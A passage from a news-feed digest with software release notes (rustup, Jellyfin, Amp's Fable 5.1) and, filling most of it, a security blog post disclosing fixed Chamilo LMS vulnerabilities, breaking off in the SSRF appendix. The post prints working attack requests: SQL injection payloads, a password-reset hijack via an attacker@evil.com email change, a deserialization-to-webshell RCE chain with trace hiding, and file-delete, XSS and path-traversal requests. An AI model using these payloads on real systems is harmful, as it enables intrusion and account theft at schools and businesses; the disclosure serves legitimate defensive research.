      You can also look at the new Plugin API and develop plugins for Picard or update your existing Picard 2 plugin to work with Picard 3.

      Acknowledgements

      Code contributions by Bob Swift, Bryan Roessler, Laurent Monin and Philipp Wolfer. Translations were updated by hildgyorgy (Hungarian), janrieger (German), Marc Riera (Catalan), mfmeulenbelt (Dutch), ninjum (Galician), NorwayFun (Georgian), Priit Jþerßßt (Estonian) and Vaclovas Intas (Lithuanian).

    12. 🔗 r/LocalLLaMA New Gemma models on arena ai rss
    13. 🔗 Rust Blog Announcing rustup 1.29.1 rss

      The rustup team is happy to announce the release of rustup version 1.29.1.

      Rustup is the recommended tool to install Rust, a programming language that empowers everyone to build reliable and efficient software.

      What's new in rustup 1.29.1

      The headlines of this release are:

      • Concurrency in certain rustup operations has been improved:

        • When running rustup update, rustup will first check for possible updates in parallel. pr#4752
        • When running rustup component add with multiple components, they will be installed concurrently. pr#4790
        • Implicit installation of the active toolchain in rustup-init and rustup invocations has been deprecated where deemed unnecessary and will now produce a warning. pr#4840

        • Please see our blog post for more details regarding this change.

        • rustup doc now supports the --serve flag which allows serving the docs over local HTTP. This should help users with containerized browser and/or rustup setups. pr#4986
      • Installing i686-pc-windows-* host toolchains on 64-bit Windows now requires --force-non-host. pr#4935

      • rustup-init will no longer leave unexpected files on disk after cancelled installations. pr#4996

      • A bug has been fixed which might cause Windows installation to fail when using rustup-init.sh. pr#4756

      • "Target triple " has been renamed to "target tuple " across the project to reflect the new terminology. pr#4743 pr#4827 pr#4834

        • Please note that this is not a breaking change in the CLI since the existing options such as --target are not using this terminology.

      In addition, rustup now officially supports aarch64-pc-windows-gnullvm as a host platform. pr#4523

      Further details are available in the changelog!

      How to update

      If you have a previous version of rustup installed, getting the new one is as easy as stopping any programs which may be using rustup (e.g. closing your IDE) and running:

      $ rustup self update
      

      Rustup will also automatically update itself at the end of a normal toolchain update:

      $ rustup update
      

      If you don't have it already, you can get rustup from the appropriate page on our website.

      Rustup's documentation is also available in the rustup book.

      Caveats

      Rustup releases can come with problems not caused by rustup itself but just due to having a new release.

      In particular, anti-malware scanners might block rustup or stop it from creating or copying files, especially when installing rust-docs which contains many small files.

      Issues like this should be automatically resolved in a few weeks when the anti-malware scanners are updated to be aware of the new rustup release.

      Thanks

      Thanks again to all the contributors who made this rustup release possible!

    14. 🔗 New Music Releases The Ocean - Ultima Esperanza rss

      The Ocean - a new release is available:

      • 2026-09-01: Ultima Esperanza (Single)

      Amazon: Canada | Deutschland | France | United Kingdom | United States

      Visit muspy for more information.

    15. 🔗 Ampcode News Fable 5.1 rss

      Claude Fable 5.1 now powers Amp's ultra mode, replacing Fable 5.

      It's very good at writing, very good at taking direction mid-task, and very good at working on its own. And it costs less to run.

      Long Tasks and Proof of Work

      What won us over is how much better it got at long horizon work, at giving proof of its work, and at iterating on that proof. It runs for hours on its own, and when the proof doesn't hold up, it goes back and fixes the work, then proves it again.

      Some examples:

      • Hamish told it key presses felt laggy in our iOS app and asked it to find out why. Two hours later it had a side-by-side video of the old and new builds typing the same sentence on an iPhone simulator. Along the way it caught a two-pixel height difference in its own comparison, corrected it, and re-recorded. Typing latency in Safari went from 85 ms to 8 ms.
      • Thorsten recorded his screen creating a new thread on ampcode.com and asked it to make that twice as fast, however long that may take. Fable 5.1 pulled every frame out of the recording to time each step, then found the biggest delay was waiting for the server to finish creating the thread. Creating a thread got 45% faster.

      Writing

      Writing is where it impressed us the most. So far we haven't been big fans of using AI for prose. Fable 5.1 changed that. The text it produces reads more like it was written by a person. It explains the idea behind a change instead of every technical detail, and draws a diagram when that's clearer than a paragraph. We ended up using it for our new docs pages, where it not only surprised us by writing concise prose but also by running the features on a dev server, executing them end to end, and documenting them with screenshots and demo videos.

      Steering

      We steer it a lot more now. Fable 5 would sometimes ignore an instruction sent mid-task and carry on with the work it already had. Fable 5.1 does both: it finishes the original task, does what you just asked, and reports on each separately. It addresses every instruction you give it, even several at once. It works great with the Steer, Not Queue setting turned on.

      Cheaper

      And it costs less: ultra threads are about 35% cheaper than before. Cache reads are 75% cheaper than on Fable 5, and in a typical Amp thread, over 90% of tokens are cache reads.

      How To Use It

      ultra is for the work where the outcome is clear and the path is not. Fable 5.1 is at its best there. A few habits help:

      • Tell it what done looks like, and how to prove it. Example: "The sidebar stutters when scrolling through a few hundred threads. Find out why and fix it. Show me a video of scrolling before and after on the same thread list, and frame times measured in Safari, not Chrome."
      • Steer it while it works. If it's heading somewhere you don't want, say so in the moment. You can also hand it new tasks while it's busy; it addresses all of them without dropping the one it's on.

      What the Team Says

      Very impressed by Fable 5.1. It's very good at writing, it's very good at... everything really? I'm in a thread where I constantly reply to 2-3 different things and it perfectly keeps them apart. It's like having two conversations at once.

      — Thorsten Ball

      I've also been impressed with Fable 5.1. Feels less hand-wringy than Fable did.

      — Camden Cheek

      In my code reviews I agree with its changes more than I agree with the previous Fable's. And I steer it a lot more, because it handles multiple requests at once.

      — Hitesh Sagtani

    16. 🔗 Ampcode News Intelligently Ordered Diffs rss

      The first challenge in code review is figuring out which files to read first. Amp now orders diffs intelligently and highlights which files contain the essential changes.

      Click the file order button to toggle between alphabetical and intelligent order. Amp reads the diff, finds the files that best explain the change, and moves them to the top.

      The Changes pane with intelligent file ordering enabled, important files first, and less important files muted

      Less relevant files, such as tests, fixtures, and generated code, will be shown in muted colors below the important ones.

      If the diff changes while you're reviewing it, a blue dot over the button will indicate that there is an updated ordering. Clicking it will update the diff with the new order.

  4. August 31, 2026
    1. 🔗 IDA Plugin Updates IDA Plugin Updates on 2026-08-31 rss

      IDA Plugin Updates on 2026-08-31

      Activity:

    2. 🔗 jellyfin/jellyfin 12.0 RC7 release

      🚀 Jellyfin Server 12.0 RC7

      We are pleased to announce the seventh release candidate preview release of Jellyfin 12.0!

      This is a preview release, intended for those interested in testing 12.0 before its final public release. We welcome testers to help find as many bugs as we can before the final release.

      As always, please ensure you stop your Jellyfin server and take a full backup before upgrading!

      A note about versioning

      Starting with this release, we are dropping the preceding10. from our versioning. Thus, 10.11.x -> [10.]12.x = 12.x. The reason is simple: at this point in the project, we don't envision a hard break in the API like we planned way back in the early days, and this version scheme was causing a lot of confusion amongst users about what a "major" release was. For more information, please see the RC1 release notes.

      What's new?

      The main goal of this release has been performance. 10.11.0 dropped a major backend rewrite, and while it was broadly functional, it had a lot of rough edges. This release seeks to polish out most of those rough edges and bring better performance to all users.

      There are many other small fixes, improvements, changes, and translations. See our draft release notes here or below for the full list of pull requests. You can also view the Web side changelog here.

      Note: You must be on Jellyfin 10.10.7+ or 10.11.x (ideally, 10.11.11) before upgrading! If you are not, the upgrade will fail. Ensure you upgrade to one of these versions first!

      Note: The initial load of Jellyfin 12.x will run a few migrations and will take several minutes. Please be patient and do not interrupt the process. You can leverage the (newly improved!) startup UI on your local network to see specific progress, or off-network to see general progress, by visiting the server URL in your web browser during startup.

      Note: If you install the RC, you should disable all external plugins and reinstall using the unstable plugin repository, or plugins may fail to load and cause unintended side effects.

      Installing

      This preview release is distributed in all our traditional forms, though not automatically via our Apt repository or latest tag.

      • For all non-Docker environments, you can find the files for manual download in our repository by selecting "Stable Preview" for your OS.
      • For Docker, you can pull the 12.0-rc7 or preview tags.

      What's Changed (since

      v12.0-rc6)

      Full Changelog : v12.0-rc6...v12.0-rc7

    3. 🔗 Quarkslab's blog Chamilo LMS... It's raining 0days, hallelujah, it's raining 0days rss

      Introduction

      It is commonly observed that projects carried out outside of working hours begin with the same optimistic thought: "I will just take a quick look". Driven by skepticism toward automated security tools and AI-assisted code review, or, by a desire to manually validate whether they would have caught certain vulnerabilities. Sometimes, these audits confirm that traditional approaches remain effective, and sometimes, gaps are revealed that show that we do indeed require the usage of AI.

      This was the case with Chamilo, a widely deployed open source Learning Management System (LMS) that we observe being used by schools and enterprises around the world. What initially began as a fun security review quickly evolved into a much deeper exploration of the application's attack surface. As more components were audited, vulnerabilities were continuously surfaced, each revealing new attack primitives, and, in some cases, entirely different classes of security issues.

      By the end of the research, previously unknown vulnerabilities (a.k.a. 0days) had been identified, reported to the vendor, fixed, and the following CVE identifiers were assigned.

      Throughout this post, we will be diving into some vulnerabilities. More importantly, we will demonstrate how seemingly independent issues can be chained together to achieve a full Pre-Auth Remote Code Execution (RCE), illustrating how different vulnerabilities can collectively lead to complete system compromise.

      SQL Injection without authentication (CVE-2026-61600)

      This vulnerability was identified without the help of an LLM.

      The first vulnerability in the exploit chain is an unauthenticated SQL injection. This vulnerability was identified through manual review demonstrating that traditional code audit remains effective.

      The vulnerability was spotted in main/inc/ajax/model.ajax.php and main/work/pending.php.

      The following values were observed as being concatenated directly into SQL WHERE clauses.

      • course_id
      • work_parent_ids
      • groupOp (field from the JSON parameter filters)

      The action get_work_student which is reachable without authentication, handles the JSON parameter filters. The value $filters->groupOp was concatenated directly into $whereCondition, and the resulting clause was passed to getWorkListStudent().

      💡 Only information necessary to run the exploit:
      A valid cidReq (e.g., cidReq=TESTCOURSE) is needed to exploit this bug without authentication. Courses can be listed through the home page or /main/auth/courses.php?action=display_courses. The course's code cidReq can be derived from the title of the course.

      Request (HTTP):

      GET /main/inc/ajax/model.ajax.php?a=get_work_student&_search=true&filters={%22groupOp%22:%22%20OR%20IF(1=(SELECT+user_id+FROM+user+WHERE+username%3d'admin'),SLEEP(5),0)%20OR%20%22,%22rules%22:[{%22field%22:1,%22op%22:%22eq%22,%22data%22:2},{%22field%22:%222%22,%22op%22:%22eq%22,%22data%22:%221%22}]}&cidReq=TESTCOURSE HTTP/1.1
      Host: 127.0.0.1
      

      Response (HTTP):

      HTTP/1.1 200 OK
      ...
      Content-Length: 32
      Content-Type: application/json;charset=utf-8
      
      {"page":0,"total":0,"records":0}
      

      Figure 1 - First example of unauthenticated SQLi exploited using a Time-Based attack (part 1/2).

      Figure 2 - First example of unauthenticated SQLi exploited using a Time-Based attack (part 2/2).

      Figure 3 - Second example of unauthenticated SQLi exploited using a Time-Based attack (part 1/2).

      Figure 4 - Second example of unauthenticated SQLi exploited using a Time-Based attack (part 2/2).

      Figure 5 - Third example of unauthenticated SQLi exploited using a Time-Based attack.

      After a password reset request is performed, it is possible to use the SQLi to retrieve the reset token stored in database. The request below resets the admin user's password.

      Request (HTTP):

      POST /main/auth/lostPassword.php HTTP/1.1
      Host: 127.0.0.1
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 38
      Referer: http://127.0.0.1/main/auth/lostPassword.php
      
      user=admin&submit=&_qf__lost_password=
      

      Response (HTTP):

      HTTP/1.1 302 Found
      ...
      Location: http://127.0.0.1/
      Content-Length: 0
      Content-Type: text/html; charset=UTF-8
      

      Once the reset token has been retrieved via SQL Injection, it can be used to reset the admin user's password with the following request.

      Request (HTTP):

      POST /main/auth/reset.php?token=0ec87515cc65d60c36cf5c5b81d284f2 HTTP/1.1
      Host: 127.0.0.1
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 98
      
      pass1=admin1234567!&pass2=admin1234567!&submit=&_qf__reset=&token=0ec87515cc65d60c36cf5c5b81d284f2
      

      Response (HTTP):

      HTTP/1.1 302 Found
      ...
      Location: http://127.0.0.1/
      Content-Length: 0
      Content-Type: text/html; charset=UTF-8
      

      In the full exploitation chain, the SQL injection vulnerability is also used to back up the database records associated with the administrator account before performing the email change and password reset. After gaining access to the admin account via email hijacking, the attacker can restore the original database records, reverting the email and hashed password. This approach minimizes traces of the attack and allows the administrator to continue using their original credentials, reducing the likelihood of detection while the attacker maintains backdoor access to the system.

      These findings (identified through manual code audit) along with the following research article (Blind SQL Injection Attacks Optimization), were provided to an LLM to develop a working Proof-Of-Concept.

      Email update to password reset without authentication

      This vulnerability was identified with the help of an LLM.

      The update_users action in main/inc/ajax/user_manager.ajax.php is designed to accept a JSON array of users and forward the submitted values to UserManager::update_user() without authentication enforcement.

      Because the request is fully controlled by the attacker for both the user_id parameter and user fields such as email, an unauthenticated attacker can send a direct request to the AJAX endpoint and modify the email address of any user, including privileged accounts like admin.

      This vulnerability becomes critical when combined with the password reset feature because, by changing a user's email address, an attacker's controlled email address can be used to hijack an account by requesting a password reset and receiving the reset token.

      Figure 6 - Compromise flow of a user's email.

      The request enters through main/inc/ajax/user_manager.ajax.php.

      File: main/inc/ajax/user_manager.ajax.php

      require_once __DIR__.'/../global.inc.php';
      
      $request = HttpRequest::createFromGlobals();
      $isRequestByAjax = $request->isXmlHttpRequest();
      
      $action = $_REQUEST['a'];
      
      switch ($action) {
          ...
      

      The code dispatches directly on the value of $_REQUEST['a'].

      ...
      case 'update_users':
          $usersData = json_decode($_POST['users'], true);
          $updatedCount = 0;
      
          foreach ($usersData as $userData) {
              if (empty($userData['user_id'])) {
                  continue;
              }
      
              $userId = (int) $userData['user_id'];
              $currentUserData = api_get_user_info($userId);
      
              if (!$currentUserData) {
                  continue;
              }
              ...
      
      1. Parses the JSON from $_POST['users'].
      2. Extracts user_id.
      3. Casts it to integer.
      4. Loads the current data for user (1 for administrator).
      5. Continues only if that user exists.

      Then the code builds $updatedData by mixing submitted values with the current database values using a fallback pattern.

      $updatedData = [
          'firstname' => $userData['firstname'] ?? $currentUserData['firstname'],
          'lastname' => $userData['lastname'] ?? $currentUserData['lastname'],
          'email' => $userData['email'] ?? $currentUserData['email'],
          'phone' => $userData['phone'] ?? $currentUserData['phone'],
          'official_code' => $userData['official_code'] ?? $currentUserData['official_code'],
          'status' => isset($userData['status']) ? (int) $userData['status'] : $currentUserData['status'],
          'active' => isset($userData['active']) ? (int) $userData['active'] : $currentUserData['active'],
      ];
      

      If the payload only contains {"user_id":1,"email":"attacker@evil.com"}, then, only the email is changed to the attacker's address. All other fields are preserved from the original user record, making the modification appear as a legitimate account update. This means the email field can be selectively modified without any authentication check, allowing complete account hijacking when paired with the password reset feature.

      The AJAX action then forwards the values into UserManager::update_user().

      UserManager::update_user(
          $userId,
          $updatedData['firstname'],
          $updatedData['lastname'],
          $currentUserData['username'],
          $updatedData['password'] ?? null,
          $currentUserData['auth_source'],
          $updatedData['email'],
          $updatedData['status'],
          $updatedData['official_code'],
          $updatedData['phone'],
          $currentUserData['picture_uri'],
          null,
          $updatedData['active'],
          null,
          null,
          null,
          $currentUserData['language']
      );
      

      For user 1, this means the current username (and other values) are reused, while the submitted email is passed through as the new target value.

      Inside main/inc/lib/usermanager.lib.php, update_user() loads the Doctrine user entity and applies the new field values.

      $userManager = self::getManager();
      /** @var User $user */
      $user = self::getRepository()->find($user_id);
      
      if (empty($user)) {
          return false;
      }
      

      Then:

      $user
          ->setLastname($lastname)
          ->setFirstname($firstname)
          ->setUsername($username)
          ->setStatus($status)
          ->setAuthSource($auth_source)
          ->setLanguage($language)
          ->setEmail($email)
          ->setOfficialCode($official_code)
          ->setPhone($phone)
          ->setAddress($address)
          ->setPictureUri($picture_uri)
          ->setExpirationDate($expiration_date)
          ->setActive($active)
          ->setEnabled($active)
          ->setHrDeptId($hr_dept_id)
      ;
      

      The key line is:

      ->setEmail($email)
      

      Finally, the entity is persisted.

      $userManager->updateUser($user, true);
      

      Unserialize to Arbitrary File Write to RCE as admin (CVE-2026-70647)

      This vulnerability was identified without the help of an LLM.

      Chamilo's course backup import feature, unsafely handle attacker-controlled serialized data from course_info.dat. During backup creation, CourseArchiver::createBackup() writes a base64-encoded serialized Course object to this file, which stores course files using the paths found within the serialized resource objects.

      During import, CourseArchiver::readCourse() extracts a user-supplied ZIP archive, reads course_info.dat, base64-decodes it, and deserializes it through UnserializeApi::unserialize('course', ...). This process is intended to restore the course structure and all associated documents to their original locations within the application directory.

      The deserialization allowlist in UnserializeApi is designed to include only legitimate classes needed for course restoration, specifically Course and Document. An attacker does not need a PHP Object Injection (POP) chain since properties on valid serialized objects can be directly manipulated. A Document resource's path property can be modified from a legitimate value like document/payload.txt to an arbitrary path such as coiffeur.php or any location within the web root. When the manipulated backup is imported, Chamilo trusts the modified path values and uses them during file restoration, writing files to malicious locations. This Arbitrary File Write can be leveraged to place a PHP webshell within the application directory, leading to Remote Code Execution.

      Figure 7 - Exploiting the course import feature.

      Final exploit

      Boolean-Based Blind SQL Injection (CVE-2026-61600)

      The proof of concept starts by exploiting the SQL injections via a Boolean- Based Blind attack. For each byte we want to recover, eight separate requests are sent testing each bit position until the entire byte value is reconstructed. Slowly, the entire admin user row from the database is dumped.

      Extracting the password reset token

      Among the data leaked through the SQLi vulnerability is the confirmation_token field. A second extraction pass is performed targeting just this column, recovering its exact value. By stealing it through SQL injection, the email verification step can be bypassed entirely and a valid reset credential is gained without needing access to the admin's mailbox.

      Email hijacking (only if needed)

      The update_users AJAX action allows an unauthenticated attacker to modify user attributes of any existing account within the system. By exploiting this vulnerability, arbitrary fields such as email addresses or phone numbers can be selectively updated for any user record, including privileged administrative accounts.

      This allows complete account takeover without any authentication requirement or notification to the original account holder, making it a powerful component of our chain.

      Resetting the admin's password

      Once the confirmation token has been stolen, a request is made to Chamilo's password reset endpoint and a new password is defined. Chamilo validates the token that is provided (which matches the database), sees it as legitimate, and changes the admin account password to our chosen value.

      From that moment on, we can log into the admin account with this new password. The original admin still has no idea their account has been compromised because their email was never involved.

      Logging in and creating a malicious course

      Using the new password, we can log into Chamilo as the legitimate administrator. Now a dummy course can be created with a random name and a malicious PHP file (likely a webshell) is immediately uploaded into the course's document folder (with an extension accepted by Chamilo). This file appears harmless as it is just sitting in the course like any normal document.

      Then, the course backup feature is triggered, which creates a ZIP archive containing all the course contents, including this malicious file, along with serialized metadata about the course structure stored in a file called course_info.dat.

      Modifying backup metadata (CVE-2026-70647)

      Before uploading the backup back to the server, it is modified locally. The course_info.dat file inside the backup is base64-encoded PHP serialized data that describes all documents and their paths. This ZIP is extracted, the data is decoded and deserialized, the reference to the uploaded malicious file is found, and it is changed to point to a different filename (coiffeur.php), which places it directly in the web accessible directory where webshells can execute. The data is then re-serialized, re-encoded to base64, repackaged into the ZIP, and prepared for uploading to the server.

      Importing the malicious backup and achieving RCE (CVE-2026-70647)

      Legitimate course import functionality is used to upload the modified backup file. When Chamilo processes the import, the course_info.dat metadata is deserialized using PHP's unserialize() function. Because the metadata has been tampered with to rename the malicious PHP file to coiffeur.php and place it in the course root, the deserialization process writes the file to its final location in a web accessible directory. Once the import is completed, the webshell can be accessed at /app/courses/{course_code}/coiffeur.php and arbitrary PHP code can be executed on the server, achieving complete Remote Code Execution with the privileges of the web server.

      POC

      File: exploit.py

      #!/usr/bin/env python3
      
      #                         /\  .-----.  /\
      #                         #\\/       \#\\
      #                        |/\|    0    |/\|
      #                         #\\\;-----;#/\\
      #                        #  \/   .   \/  \\
      #                      (| ,-_|coiffeur|_-, |)
      #                         #`__\.-.-./__`\\
      #                        # /.-(     )-.\ \\
      #                      (\ |)   '   '   (| /)
      #                       ` (|           |) `
      #                         \)           (/
      # Title:     Chamilo-LMS 1.11.36 0days full chain exploit.
      # Author:    Mathieu Farrell aka @Coiffeur0x90
      # Date:      2026-04-01
      # Summary:   Exploit chains a pre-auth SQLi & ATO if needed then an unserialize
      #            to Arbitrary File Write to write a Webshell (RCE).
      # Details:   Dump the admin row, try the reset-token path, fall back to account
      #            takeover when needed, the create, rewrite, and re-import a course
      #            backup to drop "coiffeur.php".
      
      ...
      

      The exploit uses the file payload.txt, which is ultimately renamed to coiffeur.php and works as a web shell.

      Conclusion

      AI is an extremely powerful tool for offensive security research, but in my experience, humans still outperform AI when it comes to creative ideas. Rather than replacing the researcher, AI should be seen as a force multiplier that can accelerate analysis, explore hypotheses, process large amounts of information, and help researchers investigate areas that might otherwise take much more time.

      The real game changer comes from combining human creativity, intuition, and experience with the scale and power of AI. Humans provide the ideas and direction, while AI helps turn those ideas into deeper and faster research.

      This combination has the potential to fundamentally change the way vulnerabilities are discovered and push offensive security research far beyond what either humans or AI could achieve alone.

      Appendix

      Other vulnerabilities identified

      Arbitrary File Delete in plugin/cleandeletedfiles/src/ajax.php as admin

      (CVE-2026-61578)

      This vulnerability was identified without the help of an LLM.

      File: plugin/cleandeletedfiles/src/ajax.php

      <?php
      
      ...
      
      $plugin = CleanDeletedFilesPlugin::create();
      $action = isset($_REQUEST['a']) ? $_REQUEST['a'] : null;
      
      switch ($action) {
          case 'delete-file':
              $path = isset($_REQUEST['path']) ? $_REQUEST['path'] : null;
              if (empty($path)) {
                  echo json_encode(["status" => "false", "message" => $plugin->get_lang('ErrorEmptyPath')]);
                  exit;
              }
      
              if (unlink($path)) {
                  Display::addFlash($plugin->get_lang("DeletedSuccess"), 'success');
                  echo json_encode(["status" => "true"]);
              } else {
                  echo json_encode(["status" => "false", "message" => $plugin->get_lang('ErrorDeleteFile')]);
              }
              break;
          case 'delete-files-list':
              $list = isset($_REQUEST['list']) ? $_REQUEST['list'] : [];
              if (empty($list)) {
                  echo json_encode(["status" => "false", "message" => $plugin->get_lang('ErrorEmptyPath')]);
                  exit;
              }
      
              foreach ($list as $value) {
                  if (empty($value)) {
                      continue;
                  }
                  unlink($value);
              }
      
              Display::addFlash($plugin->get_lang("DeletedSuccess"), 'success');
              echo json_encode(["status" => "true"]);
              break;
      }
      

      Request (HTTP):

      GET /plugin/cleandeletedfiles/src/ajax.php?a=delete-file&path=/tmp/TEST HTTP/1.1
      Host: 127.0.0.1
      Cookie: ch_sid=dc7360e7ec809c26ed7aee5c45618cae
      

      Response (HTTP):

      HTTP/1.1 200 OK
      ...
      Content-Length: 17
      Content-Type: text/html; charset=UTF-8
      
      {"status":"true"}
      

      Arbitrary File Write to Stored XSS in

      main/inc/ajax/record_audio_rtc.ajax.php as student (CVE-2026-70648)

      This vulnerability was identified without the help of an LLM.

      File: main/inc/ajax/record_audio_rtc.ajax.php

      <?php
      
      /* For licensing terms, see /license.txt */
      
      use ChamiloSession as Session;
      
      require_once __DIR__.'/../global.inc.php';
      
      api_block_anonymous_users();
      
      $courseInfo = api_get_course_info();
      /** @var string $tool document or exercise */
      $tool = isset($_REQUEST['tool']) ? $_REQUEST['tool'] : '';
      $type = isset($_REQUEST['type']) ? $_REQUEST['type'] : 'document'; // can be document or message
      
      if ($type === 'document') {
          api_protect_course_script();
      }
      
      $userId = api_get_user_id();
      
      if (!isset($_FILES['audio_blob'], $_REQUEST['audio_dir'])) {
          if ($tool === 'exercise') {
              header('Content-Type: application/json');
              echo json_encode([
                  'error' => true,
                  'message' => Display::return_message(get_lang('UploadError'), 'error'),
              ]);
      
              Display::cleanFlashMessages();
              exit;
          }
      
          Display::addFlash(Display::return_message(get_lang('UploadError'), 'error'));
          exit;
      }
      
      $file = isset($_FILES['audio_blob']) ? $_FILES['audio_blob'] : [];
      $file['file'] = $file;
      $audioDir = Security::remove_XSS($_REQUEST['audio_dir']);
      
      switch ($type) {
          case 'document':
              $dirBaseDocuments = api_get_path(SYS_COURSE_PATH).$courseInfo['path'].'/document';
              $saveDir = $dirBaseDocuments.$audioDir;
              if (!is_dir($saveDir)) {
                  mkdir($saveDir, api_get_permissions_for_new_directories(), true);
              }
      
              if (empty($audioDir)) {
                  $audioDir = '/';
              }
      
              $uploadedDocument = DocumentManager::upload_document(
                  $file,
                  $audioDir,
                  $file['name'],
                  null,
                  0,
                  'overwrite',
                  false,
                  in_array($tool, ['document', 'exercise']),
                  'file',
                  true,
                  api_get_user_id(),
                  $courseInfo,
                  api_get_session_id(),
                  api_get_group_id(),
                  'exercise' === $tool
              );
              $error = empty($uploadedDocument) || !is_array($uploadedDocument);
      
              if (!$error) {
                  $newDocId = $uploadedDocument['id'];
                  $courseId = $uploadedDocument['c_id'];
      
                  /** @var learnpath $lp */
                  $lp = Session::read('oLP');
                  $lpItemId = isset($_REQUEST['lp_item_id']) && !empty($_REQUEST['lp_item_id']) ? $_REQUEST['lp_item_id'] : null;
                  if (!empty($lp) && empty($lpItemId)) {
                      $lp->set_modified_on();
      
                      $lpItem = new learnpathItem($lpItemId);
                      $lpItem->add_audio_from_documents($newDocId);
                  }
      
                  $data = DocumentManager::get_document_data_by_id($newDocId, $courseInfo['code']);
      
                  if ($tool === 'exercise') {
                      header('Content-Type: application/json');
                      echo json_encode([
                          'error' => $error,
                          'message' => Display::getFlashToString(),
                          'fileUrl' => $data['document_url'],
                      ]);
      
                      Display::cleanFlashMessages();
                      exit;
                  }
      
                  echo $data['document_url'];
              }
      
              break;
          case 'message':
              Session::write('current_audio_id', $file['name']);
              api_upload_file('audio_message', $file, api_get_user_id());
      
              break;
      }
      

      Request (HTTP):

      POST /main/inc/ajax/record_audio_rtc.ajax.php?cidReq=COURSE01 HTTP/1.1
      Host: 127.0.0.1
      Content-Type: multipart/form-data; boundary=----BOUNDARY
      Content-Length: 250
      Cookie: ch_sid=dc7360e7ec809c26ed7aee5c45618cae
      
      ------BOUNDARY
      Content-Disposition: form-data; name="audio_blob"; filename="POC.html"
      Content-Type: audio/wav
      
      &lt;html&gt;
      &lt;script&gt;alert(1337)&lt;/script&gt;
      &lt;/html&gt;
      ------BOUNDARY
      Content-Disposition: form-data; name="audio_dir"
      
      
      ------BOUNDARY--
      

      Response (HTTP):

      HTTP/1.1 200 OK
      ...
      Content-Length: 121
      Content-Type: text/html; charset=UTF-8
      
      http://127.0.0.1/main/document/document.php?id=4&cidReq=COURSE01&id=4&id_session=0&gidReq=0
      

      Path Traversal and Arbitrary .wav File Write in

      main/inc/ajax/record_audio_wami.ajax.php as student

      This vulnerability was identified without the help of an LLM.

      File: main/inc/ajax/record_audio_wami.ajax.php

      <?php
      
      ...
      
      parse_str($_SERVER['QUERY_STRING'], $params);
      
      if (isset($params['waminame']) && isset($params['wamidir']) && isset($params['wamiuserid'])) {
          $waminame = $params['waminame'];
          $wamidir = $params['wamidir'];
          $wamiuserid = $params['wamiuserid'];
      } else {
          api_not_allowed();
          exit();
      }
      
      ...
      
      $waminame = Security::remove_XSS($waminame);
      $waminame = Database::escape_string($waminame);
      $waminame = api_replace_dangerous_char($waminame);
      $waminame = disable_dangerous_file($waminame);
      $wamidir = Security::remove_XSS($wamidir);
      $content = file_get_contents('php://input');
      
      ...
      
          case 'document':
              $dirBaseDocuments = api_get_path(SYS_COURSE_PATH).$_course['path'].'/document';
              $saveDir = $dirBaseDocuments.$wamidir;
      
              if (!is_dir($saveDir)) {
                  DocumentManager::createDefaultAudioFolder($_course);
              }
      
              $waminame_to_save = $waminame;
              $documentPath = $saveDir.'/'.$waminame_to_save;
      
              $fh = fopen($documentPath, 'w') or exit("can't open file");
              fwrite($fh, $content);
              fclose($fh);
      
              ...
      
      ...
      

      Request (HTTP):

      POST /main/inc/ajax/record_audio_wami.ajax.php?cidReq=XXXX&type=document&waminame=IVOIRE.wav&wamidir=/../../../../../../../../../../../tmp&wamiuserid=1 HTTP/1.1
      Host: 127.0.0.1
      Cookie: ch_sid=83ec05a275b7bd3bfcc026a66720a099
      Content-Length: 6
      Content-type: application/x-www-form-urlencoded
      
      IVOIRE
      

      Response (HTTP):

      HTTP/1.1 200 OK
      ...
      Content-Length: 0
      Content-Type: text/html; charset=UTF-8
      

      Unserialize to RCE via POP chain (post-auth)

      This vulnerability was identified without the help of an LLM.

      File: main/lp/aicc_hacp.php

      <?php
      /* For licensing terms, see /license.txt */
      
      use ChamiloSession as Session;
      
      ...
      
      $debug = 0;
      
      // Flag to allow for anonymous user - needs to be set before global.inc.php.
      $use_anonymous = true;
      
      // Use session ID as provided by the request.
      if (!empty($_REQUEST['aicc_sid'])) {
          session_id($_REQUEST['aicc_sid']);
          if ($debug > 1) {
              error_log('New LP - '.__FILE__.','.__LINE__.' - reusing session ID '.$_REQUEST['aicc_sid']);
          }
      } elseif (!empty($_REQUEST['session_id'])) {
          session_id($_REQUEST['session_id']);
          if ($debug > 1) {
              error_log('New LP - '.__FILE__.','.__LINE__.' - reusing session ID '.$_REQUEST['session_id']);
          }
      }
      
      ...
      
      // Is this needed? This is probabaly done in the header file.
      $file = Session::read('file');
      /** @var learnpath $oLP */
      $oLP = UnserializeApi::unserialize(
          'not_allowed_classes',
          Session::read('lpobject')
      );
      
      ...
      

      File: main/inc/lib/UnserializeApi.php

      <?php
      /* For licensing terms, see /license.txt */
      
      /**
       * Class UnserializeApi.
       */
      class UnserializeApi
      {
          /**
           * Unserialize content using Brummann\Polyfill\Unserialize.
           *
           * @param string $type
           * @param string $serialized
           *
           * @return mixed
           */
          public static function unserialize($type, $serialized, $ignoreErrors = false)
          {
              $allowedClasses = [];
      
              switch ($type) {
                  case 'career':
                  case 'sequence_graph':
                      $allowedClasses = [
                          ...
                      ];
                      break;
                  case 'course':
                      $allowedClasses = [
                          ...
                      ];
                  // no break
                  case 'lp':
                      $allowedClasses = array_merge(
                          $allowedClasses,
                          [
                              ...
                          ]
                      );
                      break;
                  case 'not_allowed_classes':
                  default:
                      $allowedClasses = false;
              }
      
              if ($ignoreErrors) {
                  return @unserialize(
                      $serialized,
                      ['allowed_classes' => $allowedClasses]
                  );
              }
      
              return unserialize(
                  $serialized,
                  ['allowed_classes' => $allowedClasses]
              );
          }
      }
      

      SSRF as student (collision with

      CVE-2026-31941)

      This vulnerability was identified without the help of an LLM.

      File: main/inc/ajax/social.ajax.php

      ...
      
          case 'read_url_with_open_graph':
              api_block_anonymous_users(false);
      
              $url = $_POST['social_wall_new_msg_main'] ?? '';
              $url = trim($url);
              $html = '';
              if (SocialManager::verifyUrl($url)) {
                  $html = Security::remove_XSS(
                      SocialManager::readContentWithOpenGraph($url)
                  );
              }
              echo $html;
              break;
      
      ...
      

      File: main/inc/lib/social.lib.php

      ...
      
          /**
           * verify if Url Exist - Using Curl.
           */
          public static function verifyUrl(string $uri): bool
          {
              $client = new Client();
      
              try {
                  $response = $client->request('GET', $uri, [
                      'timeout' => 15,
                      'verify' => false,
                      'headers' => [
                          'User-Agent' => $_SERVER['HTTP_USER_AGENT'],
                      ],
                  ]);
      
                  if (200 !== $response->getStatusCode()) {
                      return false;
                  }
      
                  return true;
